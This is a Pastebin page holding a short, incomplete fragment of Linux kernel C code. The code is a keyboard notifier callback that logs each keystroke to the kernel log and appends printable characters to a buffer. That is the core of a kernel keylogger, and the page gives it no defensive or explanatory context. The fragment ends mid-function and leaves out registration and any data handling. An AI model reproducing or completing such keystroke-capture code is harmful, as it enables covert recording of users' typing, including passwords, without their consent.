Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- int kbd_notify(struct notifier_block *self, unsigned long stage, void *data)
- {
- struct keyboard_notifier_param *param = data;
- int value = param->value - 0xf000;
- printk("%d => %c\n", param->value, param->value);
- if((param->value >= 33) && (param->value <= 127))
- snprintf(buff0r, sizeof(buff0r), "%s%c", buff0r, param->value);
Add Comment
Please, Sign In to add comment